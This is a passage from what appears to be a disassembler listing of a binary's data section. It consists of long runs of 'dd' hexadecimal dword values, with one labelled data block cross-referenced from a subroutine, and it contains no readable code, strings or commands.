24394509h dd 0EED3E213h, 87443C91h, 0FDF7C0h, 1429D21Bh, 38060624h dd 27AEEC0Fh, 0D41849B1h, 0DB6100F3h, 4DA1F78Ah, 0E5D0425Fh dd 53C8047Ch, 1E8CEC95h, 901D621Eh, 8AB1EC55h, 0FF64F61Fh dd 268B1532h, 0C9CD261Ah, 62DF9209h, 38849013h, 14FDACC3h dd 8D22796Fh, 1392B10Ch, 0DD500EB3h, 0A217D38Ch, 60341163h dd 8189DC62h, 0B87CBB2Bh, 2F0F06EBh, 0C7C3F18Eh, 0A68E126Eh dd 812A20C6h, 0E3B11E07h, 271183D6h, 0F641F1C1h, 37110A38h dd 64FB204Ch, 245A028Fh, 7D5C927Bh, 49331812h, 3D32B365h dd 154E0AEDh, 97D7C550h, 0BD030573h, 1136417h, 6D010002h dd 5FDDA97h, 28C82B0Eh, 68566A7Fh, 0FAF990D0h, 0FF5657EFh dd 8404D3h, 51FE87Eh, 0F42B0000h, 0E8BD0Ah, 0B58F00C3h dd 151B04D4h, 0E90B7611h, 7FD8A966h, 40303E9h, 88FD2005h dd 0E3F62D4Ch, 0F332F0Dh, 56FF9EFFh, 14FEE837h, 0FFF138DAh dd 1D1C1B1Bh, 564905Dh, 0D3E2DEFFh, 2826CE25h, 272AD629h dd 2B0AFF15h, 823D33DBh, 1271FEBFh, 3A38D03Bh, 0B1A2DA3Bh dd 0A9BDB937h, 0F14C40FFh, 0CD4AAC8Dh, 4FA0FF6Fh, 2871EA7Fh dd 52FF2B52h, 5757BD83h, 0A3845958h, 0A27F70D4h, 42AC62B4h dd 0AF67AB88h, 3F3F7F7Dh, 6D381B39h, 2C6F6EFFh, 705716FCh dd 4C75FF9Eh, 8FBB870Ch, 7DFF967Ch, 0FAACD7ACh, 0D584FD80h dd 0F2BF46A9h, 69838961h, 6FC7FEA3h, 957B6D6Eh, 0BF33B795h dd 0BFDEFF16h, 529C7660h, 8542D180h, 4E5FA5FAh, 0AA3316A6h dd 8AC9C697h, 0B35BABFFh, 0B75F937Fh, 5397FF7Bh, 540EB5BBh dd 8406BEBCh, 874D3FFFh, 65539E0h, 0BFC93AC0h, 0CD26CCCEh dd 0E5FFEACCh, 0D5D4D23Ah, 0FF5526D6h, 37DFFEBDh, 19F7F0DEh dd 0E3E309FFh, 689EE5E4h, 16CDD6ACh, 6421F11Ah, 0F2B46F07h dd 78F5BCF3h, 2CFCD392h, 632DF267h, 0FF425609h, 0ED0ECF0Dh dd 0FF080707h, 4884C909h, 13E4F229h, 0DFD11FFh, 681917FFh dd 581BFFF3h, 1EE9DD67h dd 13FF23F4h, 2F4E53FBh, 6F29CF7Ch, 0A0322BFFh, 340B4AF8h dd 1D5530DAh, 5F7A33BCh, 0CF4D8E4Ah, 0BF839B8Dh, 4CA40F33h dd 50FF3206h, 7017DDA2h, 56B5BEA9h, 0D3B64BFFh, 0A37A19FBh dd 74D87261h, 972F45A9h, 0FF6A6968h, 4A09E1D6h, 7270986Bh dd 0AB7473FFh, 855C33F9h, 0F78FF08h, 82940E7Ch, 6BEBFB66h dd 7C338585h, 0AFEE043Dh, 8F79842Fh, 0B3DD6F7Bh, 628DEE1Fh dd 7299FF11h, 9E9D9C9Ah, 0C5FF2D7Dh, 0A74FA786h, 0C06963C0h dd 338FAA5Ah, 0CDD63CB0h, 2F4AB097h, 0FFC22994h, 0C5AAEBEEh dd 2EC43603h, 0C0CBC48Dh, 11ADC822h, 5F85FFFFh, 0D4261334h dd 88FFD53Eh, 0D831B0CBh, 0FFCBF24Ah, 0E2E3E0B7h, 0E6E40CE3h dd 0B2E8E7FFh, 11C8AF65h, 83EDFF05h, 9F01992h, 87FF3348h dd 14FB88FBh, 0C6FE0E3Dh, 0FF950389h, 7F067C03h, 0C0E17006h dd 33BF0B0Bh, 355480B3h, 0FF4616EEh, 1BFC16E4h, 0AB191FD4h dd 1E7A8662h, 84365125h, 0FFEB2D25h, 566DA925h, 0E82C5128h dd 70155189h, 58BF7533h, 6AC70C9Ah, 3DD3DBC2h, 87853FFFh dd 4067FF74h, 484747ADh, 0C4FAE149h, 0A4B26908h, 2D413117h dd 56A395FFh, 9B59AB96h, 155C83AFh, 39349D7Dh, 65995B8Ah dd 0E73D66EAh, 8497BF5Eh, 70FF176Ch, 505D0BA7h, 759D71FFh dd 7A9259B5h, 7E7DFF7Ch, 0A6C50F5Bh, 87FF6F7Fh, 8B630A32h dd 0FFF4A1BAh, 0EA8EF78Eh, 94939379h, 1AB995FFh, 189EBDFCh dd 5F62C654h, 0A04AE354h, 0A74D785Bh, 38FF5AA7h, 0AAFF850Dh dd 0B2B1B147h, 0FF3A8FB3h, 0C74493F2h, 0C1BDC4B9h, 0C0487FFEh dd 0CECCC02Ah, 0A0C8FFDFh, 0DFFF9DE0h, 0C989C4AAh, 0FFD22611h dd 1ADAD738h, 0DAD830DDh, 1EDCDBFFh, 1DC49B51h, 93E0A909h dd 0EA0CF87Eh, 0FF1795E6h, 2EED92AFh, 0FFFFF104h, 91862CC6h dd 0FBA4B679h, 0FD16DCFFh, 70899999h, 477FE00h, 8E0AEC44h dd 90FF319Dh, 0B70A9A6Fh, 0FF2605B8h, 275E2759h, 572A5464h dd 47672AF8h, 0FFDD760Eh, 0FFBFD533h, 3AD36BC8h, 0E42CFF97h dd 0A4303CD6h, 35FF41AAh, 45AD324Dh, 0FCA18D47h, 0E3453048h dd 334B51A7h, 0D838FF53h, 0DA5C7332h, 0B4CB239Dh, 21EA605Ch dd 0B25027EDh, 9329FF8Ch, 0AD145686h, 73826F6Ah, 7DFF9538h dd 80F8228Fh, 0FF0E84FFh, 8A89896Fh, 0EA00138Bh, 7A94ABFFh dd 0FC9F9C90h, 71DBA157h, 7E30E57Fh, 169E7623h, 92A2FE33h dd 5B82E12Bh, 0DA560D2Dh, 637E338Bh, 0B2B0588Fh, 0F339585Fh dd 1145899Ch, 63E39F71h, 233F8233h, 34FF8ECAh, 0C0CC26D2h dd 469958CFh, 0D6D4FF33h, 55D5D8D7h, 21F8FF9Fh, 0E1E0DE36h dd 6BFFAEE2h, 31BC2A1h, 0FFD1E5EBh, 0EFEEEC04h, 977F29F0h dd 1EF1D0F4h, 0FA136EF6h, 8517AD87h, 2F1FBDAh, 8CF0027Fh dd 71FFDBFFh, 0AD136E13h, 0FF0594A5h, 1A1919FFh, 7A90711Bh dd 0CA243BFEh, 0C7668621h, 3D9CFF91h, 0FC325B0Bh, 37BD36D8h dd 9A4BCFF6h, 8425FF38h, 32434D0Dh, 0FCFFF743h, 48074741h dd 0D44B4BA1h, 41BE4D4Ch, 0B8AE7514h, 2AEDD485h, 1BC85ABCh dd 0D6A552A6h, 75D1FFFFh, 8D6593A2h, 49FFA565h, 4785BB03h dd 0FF599CE5h, 24727A21h, 6C377F65h, 5F2A50E2h, 0B5E6335Ch dd 5CA34FB8h, 0BFFF5AFFh, 8E671185h, 6A7EFECDh, 95E291E1h dd 0FF338513h, 99714D97h, 5F1DBD51h, 654388FEh, 0ADEDA748h dd 0AAA86337h, 8BACABDBh, 4D94F4EBh, 332FB25Ah, 0FF3527B6h dd 57BF9EDDh, 19F73BFh, 8CC233C5h, 0CFF2433h, 8A41CF3Eh dd 178C8CFCh, 1D2B00E9h, 39063673h, 98626C0h, 2FB76427h dd 71C5008h, 9313C1D1h, 2D03BD64h, 0CB9FFh, 0FBA0040h dd 0BFB80BC0h, 0FF51FA75h, 1D6EBED0h, 5FABC887h, 3D6BDE60h dd 90760344h, 0A64C2D05h, 7830E408h, 0D0032E6Dh, 0DE033E06h dd 12321102h, 7103CFh, 0DB7B024h, 5607D962h, 0D0BA5805h dd 0B28C4A17h, 18CF06B0h, 6D064E93h, 34EF424Dh, 46BBEA9h dd 3E450046h, 490309Eh, 8261FD02h, 4148C8Ah, 0DD3C1B48h dd 0DA009EE8h, 0DFA8552Eh, 5616798Bh, 79A58155h, 6969467Ah dd 6D55AE37h, 0A6EFACFDh, 0BC6A6B52h, 0AEF9F500h, 19097A6Bh dd 6C55FDD0h, 3B91CA9h, 79758A37h, 6A822F1Bh, 38FF55BEh dd 5536A2EAh, 0DBBFD49Ch, 87332855h, 4931BDBh, 86DCCBD7h dd 17EFD9DDh, 8D03B525h, 45932E3Bh, 0C1097F4Fh, 0C630855h dd 0CEF7F7A5h, 5D4A6E8Eh, 0FF2F03E4h, 0E46A602Bh, 3B6BE56Dh dd 574E3D6Fh, 42DCB705h, 0DFFBA26Bh, 0A2255388h, 40587D25h dd 1F539D68h, 595B957Dh, 0D5BCDF32h, 5D5C2868h, 0FFEEFAAFh dd 0EFBFE8E0h, 5C02BCDh, 7F36E8D5h, 570D9852h, 6B9B3005h dd 7817581Dh, 2159036Ah, 14878F4h, 4B95558Fh, 0F3E2AF6Bh dd 8FF6AFABh, 0ABFEBBEAh, 0A50A765Fh, 7C30F191h, 0E92DD3CEh dd 89068D30h, 89FD4E08h, 0F0F7C200h, 41A358C1h, 0F4B2EBAAh dd 8945E887h, 0A37F00DEh, 0ACA3D1A3h, 0BAAFFEAAh, 0B2AFBDADh dd 20ABABFFh, 0AFDE8D18h, 2000020h, 6D2D0040h, 2B8104B5h dd 1144284Fh, 6F022A0Ch, 3F690378h, 605719CEh, 97B60EACh dd 4103BDDBh, 8B118FB1h, 2C14DBBAh, 6E7C2BA8h, 2DF605BAh dd 5471560Fh, 67B46293h, 0A4B17271h, 52359E0Dh, 84EE0AC6h dd 93FB45D4h, 7703189Ah, 5B3BE932h, 0C38C765Ch, 0FF0DEF00h dd 1EAC3C3h, 0B92A990Eh, 0D14B05BFh, 0FFB535h, 59CE08BFh dd 0CB7B8A56h, 0B7990F23h, 269170Eh, 0DE0858B7h, 8E00EE49h dd 40FB1BB7h, 0AEAAF2AEh, 0B7BABD29h, 0DBB0054h, 0B70A5EAAh dd 0DD3090F1h, 0EC8309C2h, 62FFE63h, 7E1F8873h, 94FF88ECh dd 58EFEFF6h, 57FF8E63h, 0DBB7E7FFh, 0A2A2FEFEh, 0B0A2FFD0h dd 0B9BBB5AAh, 3C77E7FEh, 0FB8EEDFFh, 0C0FB2343h, 99B66FF1h dd 31EE0317h, 5BFD33E8h, 0FF8B02EAh, 0CC08BFEEh, 0A4948C1Fh dd 792220B7h, 7AFF02h, 0FFF2C0D4h, 0C802026Fh, 21F04DDh dd 8C730375h, 2DEDB03Ch, 19967DEEh, 67A8F212h, 58D80231h dd 0B66EC818h, 1CDE7813h, 0DE5C8B9Ch, 5CA52004h, 0F45217C4h dd 4F0323EFh, 0C31CE6B7h, 2B1263F3h, 10432F3Fh, 5BDDFE83h dd 5EDBE527h, 0DD6604A7h, 0AB3AFC6Fh, 7BF11D63h, 1D1B0948h dd 5B1CDB27h, 0E518BD8h, 331889D9h, 0C251D837h, 6B190EEh dd 7161A67Eh, 741A8014h, 29332DD8h, 570160FEh, 0C2FECBC8h dd 7E027Dh, 5D31C676h, 0EA9DB6CFh, 67A2C567h, 0BEBACEACh dd 16DE8175h, 0DE632275h, 0AAC09904h, 0BCE0962Dh, 0BFD0C279h dd 73FE31BFh, 0B1DABA6Fh, 989F0902h, 0BFDBFC13h, 9731034Ch dd 0EE4DEFDEh, 6FE0A3Dh, 3ED316EEh, 1612EE05h, 86F22C8h dd 0F2A7D641h, 0EEDA8273h, 178116EDh, 0A5FB94EDh, 9601FB08h dd 1B466FFDh, 0B4FBDBEh, 29EE4F53h, 0EDA94635h, 0DB9F534Dh dd 306D7E0Ah, 0F6093BEEh, 0CEFF9A08h, 59753706h, 0FE755FFEh dd 0EF0E0717h, 0FE6F9A58h, 3B16BAA6h, 0A80C7FEh, 0DA9AED71h dd 0BAEC99FAh, 670E5A14h, 46096379h, 0FB84997Fh, 95FDDD83h dd 216F8F3Ch, 76549B0Dh, 0EB006078h, 7703EB0Dh, 5B072813h dd 0DA8D1576h, 0DB040F6Eh, 0F6BED36Ch, 1C541F15h, 1AFC8C48h dd 1A03DCB2h, 87B55B64h, 3DE8FDF7h, 76D8D607h, 0A1B2C91Dh dd 362B7E02h, 0FDFDFB15h, 9BE984E0h, 275803FEh, 0AF609BEFh dd 98FC036Fh, 0FE08FC3Dh, 5266971h, 0A515522Eh, 0D3D28EEh dd 8023FFFEh, 0BDFD7FFBh, 4D8C086Ch, 7EB69EF3h, 2BD81A86h dd 3DEC833Eh, 68E1860Ch dd 6D59365Ch, 0F246CB03h, 19A5B188h, 0EFFBA593h, 667AEFC4h dd 0FB8AB50Fh, 0CDA6F42Dh, 0E6BB1135h, 6324F215h, 0E6F0B89h dd 0B7A862FBh, 374404A7h, 0BAFE1DF6h, 0DDC382EDh, 0A72932DAh dd 25B75916h, 0FF5B5B25h, 44515B2Dh, 43575546h, 80E0356Ch dd 8B15B51Fh, 9CDF2673h, 8910DEF0h, 21DF7B82h, 93DC724h dd 5DB00B77h, 0B8400F4Dh, 0A1157DD4h, 0B2AE0616h, 2C270826h dd 0E2B16CC8h, 0E2ECFB9Fh, 48046F51h, 0D6E0CAEh, 221F7D19h dd 0A3BA1C79h, 26C6FBE1h, 7C33774Dh, 0FD81FB82h, 0BF1125ABh dd 0C2DF6F03h, 10B49713h, 0F937457Ch, 6342B230h, 3C1FCC0Eh dd 0B87E009Dh, 4785A7EFh, 4AFD85EEh, 0AB11B708h, 45FDFB09h dd 0FD8BFB8Ch, 0BC2D8C67h, 0C2468767h, 0EDF0A587h, 0F00FD9C3h dd 0FF000F15h, 0FE0DA20h, 65CA3FADh, 1EBE0CDh, 6EC0ACB9h dd 8BBA0D5Bh, 385D1103h, 0AC20C0B5h, 0AB6B30FBh, 2C63B09h dd 0D8090F6Dh, 0BF069B73h, 678E6D43h, 0DBBA6507h, 1E099B03h dd 9006BF0Dh, 0CBCE2CD0h, 7F09FBA1h, 8D3DF135h, 71FF3E00h dd 33F7AADCh, 0FF873A63h, 0E8813C34h, 0CABCE9AFh, 0BEF3CCFFh dd 65206C01h, 6BE7FFC4h, 0D464150Bh, 0F4FFC14Ah, 5C187A38h dd 0FE394141h, 110E7773h, 85D0CB10h, 8B73FF7Ah, 0CB145024h dd 1AFF05FCh, 1D3EE79Ch, 0FF7ACDFDh, 0C4189C07h, 320FC5D4h dd 0E73BF4FFh, 6C1FEA74h, 0FFBB56E2h, 2BAE9AE1h, 0FF68E3E8h dd 0C29C3109h, 5C384F26h, 0CE5876FFh, 683D1DFDh, 34DDED03h dd 49FE3FF5h, 0F7949ACh, 0E897D025h, 74859AF8h, 8C04FFFDh dd 0A2769411h, 65FE3EF8h, 0F0A89D41h, 74DFE781h, 1525137Dh dd 87CCEDF5h, 0CF1E2FBDh, 3F6F0881h, 0FF04F165h, 72653418h dd 3F08BC9Ch, 84F60EFFh, 32036F13h, 2212FF25h, 0CEA2BA49h dd 10E5F910h, 1DFF7581h, 9ED45A45h, 0FFC3DF3Ch, 1C8BD265h dd 0AFB57F0Ah, 7F09EAABh, 0AEF3DC9Ch, 0E9EC0AA4h, 677F0791h dd 0B5C3E5A4h, 92FFFFFEh, 0E41D7426h, 0FFF2B8Fh, 5ADC8A73h dd 0FFF5E2B9h, 0E7684AFh, 1D000857h, 23DBA9FFh, 0AD85E1F6h dd 28FEFF9Eh, 0EA42E7EAh, 58FF859Eh, 84E1F2D9h, 0FF53451Fh dd 1C04A42Bh, 344D609Fh, 7A39DCFAh, 0DD97CD70h, 70FF2381h dd 9FC81284h, 0FD1E3CB9h, 0B012730Ah, 7C1B44F1h, 0AA35FF33h dd 0B50162C8h, 38FF7A71h, 26EF08F4h, 0D1F335C0h, 0D1BFEA83h dd 0BFE0860Ah, 83E4F0DCh, 4ABFA2C0h, 9E1C284Dh, 0A882E18Fh dd 707F3FF5h, 61618C0Fh, 0D1F4FFFBh, 0CEE1E1DCh, 0A6FF0F3Ah dd 0D25E7315h, 6F10EAA1h, 85DCC7Fh, 0FC9FFFFh, 0DA033A65h dd 0ECC5FF4Dh, 0E96B696Ah, 3F6F0AE5h, 0FF0011AEh, 0EA0A4675h dd 0F316F478h, 0E26933F8h, 0BA5FC24Dh, 0FE4073ECh, 0F6FEC2FFh dd 0F9118174h, 27CEFFE0h, 0BACCC9Eh, 59FFD1B2h, 7709B5FAh dd 0FEAF3E70h, 7C5B8FFFh, 36AB6847h, 0FFDDDFBCh, 74BC074Dh dd 2FA2F52Eh, 92875380h, 5D33E8FFh, 4B327F83h, 0AB32FDC1h dd 82421CF7h, 281CFF8Fh, 0DC1DFF54h, 89843D42h, 3CEDFA9Fh dd 0FFBFE405h, 28458AAEh, 984EF220h, 0F43962FFh, 29CC62C0h dd 842CFF95h, 205AC759h, 0F1DB4970h, 0B772FF31h, 7C8F4A37h dd 0D7DFBF68h, 9A05F6ABh, 0CCF5BFFh, 74F0FE8Eh, 6C13FC0Bh dd 12B03DE1h, 85BE361Bh, 0C6FC3FCCh, 34778430h, 0CFE44B11h dd 0F99A3DFFh, 0B723C0E8h, 80AB4B9Ch, 0FFFEBF0Bh, 0F505E8ACh dd 3F51E3DCh, 14C8A6DBh, 0D13F6E08h, 17B84E9Ah, 0FFDB020Ch dd 0E2E418F3h, 89F75A9Bh, 7FA5888Bh, 345D6D5Eh, 855C9Dh dd 5FFDFDBFh, 0F85CDEFDh, 77E6BFBFh, 0FFDB0C9Bh, 3FB4C6D2h dd 6300E36Fh, 908751FFh, 83D21EE8h, 183DFFD8h, 0F5316532h dd 66A13B36h, 0DD1F7F7Bh, 0F49C5F7Dh, 0B6FFF912h, 88880F3Bh dd 12FAC9B7h, 9C84F504h, 17543F96h, 0FF74043Fh, 0D6093B65h dd 269FADA8h, 0CFA889FFh, 841FE7C5h, 557EFFEBh, 0EA918805h dd 6CFDE837h, 0C29DD7F0h, 477FBF62h, 5ED05BD8h, 0C08896FFh dd 0FCFB9966h, 5E8CFCF7h, 0E4EB8AFAh, 0FBC97F77h, 383FE9Bh dd 0BEBE9A28h, 0C17F1770h, 0C5D2F9E0h, 7FCE320Dh, 87950DD3h dd 97C2F258h, 0EED184CCh, 9F573BFh, 0C6522544h, 0E8FFC012h dd 0DD5F9865h, 5F5F0DD7h, 7B1F9BFFh, 8423D1CBh, 12FAFF43h dd 0E4D5CFADh, 94F16612h, 2F2C3FEAh, 0F27A66BDh, 62C10CFEh dd 82685C2h, 7FD4FFD0h, 6F3FFEA6h, 3112F621h, 0EF2AF9BFh dd 7F3C1824h, 3E05C7DCh, 99FF74FFh, 0F244861Bh, 8579D03Eh dd 9BFD7F88h, 84D02400h, 0EA3FB8A0h, 753FC71Dh, 0C006FFF1h dd 0E774C92Dh, 3F49DD85h, 4BACB8F4h, 0A6B786Fh, 0AD09FF40h dd 0C3148D64h, 0D9FE94BEh, 12879E8h, 0BFDF2283h, 0FAA4D0B5h dd 0C9CF8BFFh, 70E3449Dh, 0EC88FD11h, 0C01EB602h, 0E9D03F8Ch dd 0EEE6193Fh, 0CAFF7FA4h, 2A7A82D2h, 8C71C487h, 9067BF8Fh dd 57FD3F18h, 13ACEC9Ch, 7F84FFD3h, 0E62FC8EBh, 0FF796EC8h dd 2FC2DF37h, 0D53387E2h, 673FA084h, 0E807DBEFh, 0EDC5804Ah dd 6662B1BEh, 0E88BBF8Ch, 0E410865Fh, 0A9D331E3h, 51FF3F28h dd 9910B188h, 26FFFC74h, 6FCCFB00h, 0FB6B3BF0h, 9DAA5FC1h dd 157FFF31h, 88434B51h, 0BFF2B7C9h, 76FEAF84h, 0C97C0B08h dd 0D8979C28h, 0C30BF53Dh, 8088D872h, 88BAFCFFh, 2336F224h dd 773F88FFh, 3F5DF18Fh, 37C9FE59h, 0C34ABFF3h, 333FDF9Ch dd 850B2874h, 6FC2FF23h, 0ECC77F33h, 8CFB70CAh, 0C0BFDD19h dd 0FFBFC7E3h, 0C20E8C9h, 3F978172h, 77E1727Fh, 0FFA01125h dd 46FA3A12h, 0E61172E3h, 6EFD3F18h, 0F05CBEFFh, 9D37226Fh dd 973F0C01h, 91A163FFh, 0D2EAFF82h, 306C0CA2h, 6386AACCh dd 0FFA6FABFh, 67192111h, 73D63F3Fh, 637AFF3Fh, 53D1AC91h dd 1145FCFAh, 0AE3E7877h, 0DACEBF6Fh, 0C0E6FFF9h, 0F2BC4BC6h dd 65EA80FCh, 225066C7h, 0E4B4BF9Fh, 8183F05Fh, 7FBFBB32h dd 7C23C573h, 0E5EDE93Dh, 747A3F1Eh, 0AFDF9FA9h, 94C7CAh dd 8FBFDEB7h, 0BFF9ACD1h, 318A057Fh, 0FFAE7E94h, 966337F7h dd 6B08275Dh, 0D659EAF6h, 6BE7BF91h, 0BF148D06h, 5886ECABh dd 0B122CF7Fh, 9AE902F1h, 7FFA127h, 9DFFBF42h, 0E3B98025h dd 0C1B191EEh, 0FFD78FBFh, 0FF35220Bh, 36171D9Dh, 2257E62Eh dd 19E2F5EBh, 0A7687A3Fh, 804858C4h, 51C03FDFh, 0F0B2E4A6h dd 9DF77F7Fh, 22D2045Dh, 0FDFF108Dh, 245D240Fh, 0FF630C1Dh dd 0FEC223C9h, 40E4B271h, 15EA368Dh, 0F03F6EB4h, 0E53FDF4Fh dd 0FE853298h, 34F380D9h, 378680B3h, 4D4F9BFFh, 3F1DEDBFh dd 0FFCE859Dh, 0BF3A0ED2h, 2BD094F0h, 0B9DDFF37h, 0AE02FFE4h dd 72B8C31Eh, 6A835E89h, 42C3757Dh, 0DF0F3FB1h, 0F48594F4h dd 7F0221FDh, 24B7D9F1h, 0B3173FBEh, 240DC587h, 7DAAAFFCh dd 0BF2CEE3h, 94ADCC7Fh, 9308F5FFh, 0DE6F308Fh, 0F0BF1713h dd 582EF97h, 28FFFFBFh, 5BEF0C1Fh, 14A5057Fh, 0EAD1D2BFh dd 784F32FFh, 4AE6E993h, 293CFFBFh, 0B5C48626h, 7F7AB729h dd 0A3FF3DCAh, 91FF4D8Bh, 0E1CF17F2h, 0FF449149h, 0BFB13F97h dd 0B45CB2FFh, 0B4B5349Eh, 9283E362h, 531FBF31h, 85154511h dd 2EC03FF5h, 5A3FFD54h, 0FF6FCEEBh, 0F565C103h, 87FFA273h dd 53BB3FBCh, 455C2F73h, 0FEFE3Bh, 913B888Bh, 7F3BFAC8h dd 61F8CC0Fh, 7B58C921h, 29C0FFDFh, 55FDE051h, 472E404h dd 0F7FFD6D7h, 18F6EB7Fh, 4FF67C4Ah, 0FF0B32F0h, 8353FA62h dd 0C66C9E7Ch, 0FF0791FFh dd 0C003BF03h, 41DC1160h, 0FF6EE113h, 0BFDD1F41h, 3F8FEDCAh dd 0E3004F70h, 0F4680C55h, 6E691FBFh dword_4B8158 dd 6E51555h, 3E8ABBFFh, 0C075FF97h, 0F4B623BEh, 0D3EF7D23h ; DATA XREF: sub_410430+26Fo dd 0F0FF163Ch, 0D7E2089Ch, 8970BF36h, 93CEBFDFh, 0BDA97486h dd 9B3F7898h, 473F5C3Fh, 0DD7F2F58h, 32A68446h, 76B3FFFFh dd 0DCDDA863h, 0F7FEB0F4h, 60C75F42h, 0FFB7B181h, 24FFECDAh dd 73EE387Fh, 6E90FE42h, 0DB412BFh, 5BE3A334h, 7E3FC86Ch dd 0BD5488CAh, 0A33FBB70h, 2E73FFB8h, 65ABAEBDh, 3D852819h dd 0C627FFFFh, 15121D2h, 5AE1F469h, 1F3FA485h, 86062B40h dd 7EBFBCA4h, 23A1AA76h, 7FB14678h, 0E1E0BEFBh, 0FA7F1186h dd 0F161AA09h, 65BFFD74h, 74BF3BAAh, 8C0920B4h, 0FFEC2E7Fh dd 9C81397Eh, 0EB46749Eh, 2A6CFF0Ch, 0D6ACE4BFh, 719AFD7Fh dd 0BC18233Dh, 3464F47Fh, 27C97F23h, 59713727h, 0C292CBF2h dd 0F058FFC1h, 2FFE4473h, 75C4E700h, 9374BF99h, 8C339E5Bh dd 8FB83F0Bh, 5FFE3F10h, 0E5A1B801h, 7FB770CEh, 0A6FF4FE3h dd 0B1C98E6h, 0F8E75A4Fh, 0E2FD225Fh, 9C7F5F9Ah, 898474A9h dd 151F7F3Ah, 855C584Dh, 7BC6FF7Eh, 41FE7F5Fh, 5BFBFBB9h dd 9CBF3152h, 0CE3F1B29h, 7540B0FEh, 0E17BE9D0h, 4C7A3F17h dd 0C9E03D12h, 0EC3F6D77h, 747F2EA4h, 0D89B95F3h, 3A9A8F0Ah dd 7FB1A23Fh, 7F0D469Ch, 0CD36F4DCh, 3E2E830Ah, 3F97AD10h dd 0CDFD2B97h, 0E0F2025Fh, 0AAFF63B6h, 0F682F33Fh, 0E31E6AA5h dd 0FFAB6638h, 0F3ABDB7Fh, 13DFAF4Fh, 0C3DAFC3Fh, 58FF396Dh dd 0C80ECF7Fh, 0C2BFCF85h, 0E1110188h, 193FE4F2h, 283BFFB4h dd 0C263A8F4h, 81D47F5Bh, 0FE84740Dh, 6DA24F7Fh, 9F3F3721h dd 27C9E06Eh, 0BF7F749Ch, 0BE747F7Fh, 0EAFF3D11h, 70190377h dd 0FE3AC4A1h, 0EF0B2D02h, 0B7E3483Dh, 6F35974Dh, 0CDFE0507h dd 8108FF6Fh, 0C686C324h, 0B4A8FE7Fh, 0E18507E7h, 0EC46BF05h dd 0C00B63F4h, 27FD3FDFh, 0F064558Ah, 48893ADFh, 67513F6Fh dd 9A5CC2DBh, 18E0FF3Fh, 84AC53C9h, 453DFE85h, 8AD1C8E1h dd 0FBFF1A74h, 9A533F3Eh, 7F97AF3Fh, 0F46E478Fh, 0BF11C824h dd 28636492h, 0FFB8FDBFh, 7FBF282Ch, 633B006Fh, 5A62C295h dd 0FFB531BFh, 9A407B3Fh, 0FF13EEFEh, 0C8BFC458h, 0D7B27CB8h dd 0FFBF0884h, 0E6E0C04Fh, 0F779CF5Eh, 0CC6F75ABh, 69C07CBFh dd 6FFAF899h, 17FE3A3Fh, 3633CCE1h, 0DD0D6A3Fh, 9FF5356Dh dd 483E7BFh, 5DBE86E0h, 0FF6ABFD0h, 0EB583417h, 5C3703F0h dd 41765DE1h, 0B603096Fh, 6E9850E5h, 57A27C27h, 5AC55790h dd 7D5B23D5h, 46876B03h, 56640BB1h, 4D0FED4Dh, 84FDEF0Ch dd 0D444182Bh, 18064EFBh, 0ED84B120h, 546C75CBh, 21DC02E8h dd 8446CE0Eh, 0B1F3860Ah, 0EB822311h, 39C31EC7h, 2B1B1D77h dd 0E3044D2h, 4EF26684h, 8E1B79DBh, 84CA5F3Ch, 73323AC9h dd 0EAC330B6h, 0C4850509h, 9B890663h, 0F7896C22h, 0F2F71412h dd 396E2858h, 21CCFEE8h, 0B6B91F46h, 0A9F0BAB3h, 5CFFBBA7h dd 29D9CEC1h, 7A38A923h, 1163B286h, 41986794h, 0F2C5F688h dd 95A8FD05h, 0ABD253Bh, 0FB0A1BB9h, 0C4A1489Eh, 601DE4ECh dd 0E8EDB078h, 1ADC84EDh, 0C47A9350h, 162C87DBh, 0FA1F4232h dd 0F4C1C8D1h, 8516084h, 631BA819h, 0C8689E2h, 4C08C40Bh dd 11DC3D2Dh, 0FEC7B80h, 0BE6A0D33h, 40E2D411h, 12111B2Dh dd 0C9489D10h, 0EA8933CDh, 3E003252h, 1BC69D1Ch, 8880C92Fh dd 0D81F43A2h, 0D5100C0Fh, 0DF0526BCh, 0B9717010h, 0BA02B825h dd 0FF0DDA2Eh, 12C63AFBh, 4C87A475h, 0A8C08881h, 46C25C74h dd 2BC23D18h, 0C605D0DBh, 90978B83h, 57C27202h, 4242D70Eh dd 0AAB9E3E4h, 8B1E309Ah, 6335BDCh, 4323891Dh, 1B897DE2h dd 0C3F3F7CDh, 5BAD3A58h, 9A6DEE85h, 0C0B11497h, 15C89D7Ch dd 0F203DF8Fh, 924BE33h, 6D1CEB4Eh, 3B7FA203h, 0DDC0D35Dh dd 250BCEE2h, 9FC92BC2h, 70F2942Ch, 0B0250EE5h, 0E075C841h dd 4D97045Ch, 945F3033h, 8F2B413Bh, 21891C06h, 98952DFh dd 0F1B9F72Ah, 194BF58h, 0ED667D59h, 0B38799FFh, 4817A2A1h dd 5F5FF00h, 10A63C2Ah, 1BFF7354h, 0ECEC8D78h, 0FFF2F0CDh dd 0AD0FFD75h, 758370C3h, 9C10D4FFh, 77ABCC20h, 58CBFF27h dd 5D137C1Dh, 43FF0BEEh, 6CC61624h, 0FF99EAE7h, 630ED4EFh dd 0AE8F897Ah, 0D185A0FFh, 24721C83h, 0EE35FFDFh, 0F9802B5Fh dd 50FFAD59h, 4B99C261h, 0FFCCF2C6h, 276283CBh, 5EFD62ADh dd 0FBBD09FFh, 6164CD16h, 77ADFF32h, 7DE9BDF9h, 0DEFFFCC4h dd 0CC61724h, 0FF7B87D1h, 78AD300Dh, 3A5FBE63h, 4B8699FFh dd 2415AB42h, 23D7FFE0h, 2E881E48h, 0FDF7E242h, 3FCDAB96h dd 8393D47Fh, 4CE28F63h, 27409AFFh, 8D1BDCDBh, 0F176FFB4h dd 0BCF957D7h, 5E5482Bh, 84FFFED7h, 0AE78A7A1h, 972171D8h dd 6F1FD40Ah, 0A2874BBFh, 0C99E16FFh, 77DD00Ch, 77DBFFBDh dd 0E04332CBh, 240A2DB7h, 8165BFDCh, 0C6FBC6B3h, 7FE0992Dh dd 37BFB70Dh, 5A7FBF3Fh, 3FDDB7BDh, 93350D3Ch, 0CDE0FFD2h dd 70FFB7C2h, 8DC067F1h, 0FEDBDB1Dh, 4C5C8209h, 47818FC4h dd 81E7CC1Fh, 0CD4306Dh, 0DEEEBF5Dh, 6CB708FAh, 0CE52E8EDh dd 0BFB3D97Fh, 0FB3F873Fh, 0F9CBFE06h, 853F7F5Dh, 0B72CB7B7h dd 0B8403FEAh, 16B77423h, 52B73ABFh, 3FAFDD2Bh, 6C1DDBA6h dd 9127ED7Fh, 0BE5ADEFFh, 70A796B4h, 0F53F6EFCh, 7F9E7068h dd 